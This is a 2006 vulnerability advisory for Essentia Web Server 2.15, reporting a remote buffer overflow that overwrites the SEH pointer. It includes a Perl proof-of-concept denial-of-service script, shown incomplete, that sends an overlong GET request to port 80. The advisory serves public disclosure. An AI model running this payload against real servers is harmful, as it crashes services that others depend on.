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essentia215.txt

Posted on 06 November 2006

-=[--------------------ADVISORY-------------------]=-

Essentia Web Server  V 2.15

Author:CorryL      x0n3-h4ck.org
-=[----------------------------------------------------]=-


-=[+] Application:    Essentia Web Server
-=[+] Version:        2.15
-=[+] Vendor's URL:   http://www.essencomp.com
-=[+] Platform:       Windows
-=[+] Bug type:       Buffer overflow
-=[+] Exploitation:   Remote
-=[-]
-=[+] Author:         CorryL  ~ corryl80[at]gmail[dot]com ~
-=[+] Reference:      www.x0n3-h4ck.org
-=[+] Virtual Office: http://www.kasamba.com/CorryL

..::[ Descriprion ]::..

Providing enhanced Web Application and Communication Services, this is a high performance scalable web server that supports thousands of virtual servers.

..::[ Bug ]::..

This software is affection from a buffer overflow
what it would allow an attacker to perform arbitrary code
on the system victim.
Sending a GET+Ax6800 request, he would succeed
to write above the seh point.

..::[ Proof Of Concept ]::..

#!/usr/bin/perl


use IO::Socket;

use Getopt::Std; getopts('h:', \%args);



if (defined($args{'h'})) { $host = $args{'h'}; }

print STDERR "
-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-
";

print STDERR "-=[ Discovered By CorryL          corryl80@gmail.com ]=-
";

print STDERR "-=[ Coded by CorryL     info:www.x0n3-h4ck.org ]=-

";

if (!defined($host)) {

Usage();

}

$dos = "A"x6800;

print "[+] Connect to $host
";

$socket = new IO::Socket::INET (PeerAddr => "$host",

PeerPort => 80,

Proto => 'tcp');

die unless $socket;

print "[+] Sending DOS byte
";

$data = "GET /$dos 

";


..::[ Workaround ]::..

nothing

..::[ Disclousure Timeline ]::..

[30/10/2006] - Vendor notification
[04/11/2006] 

 

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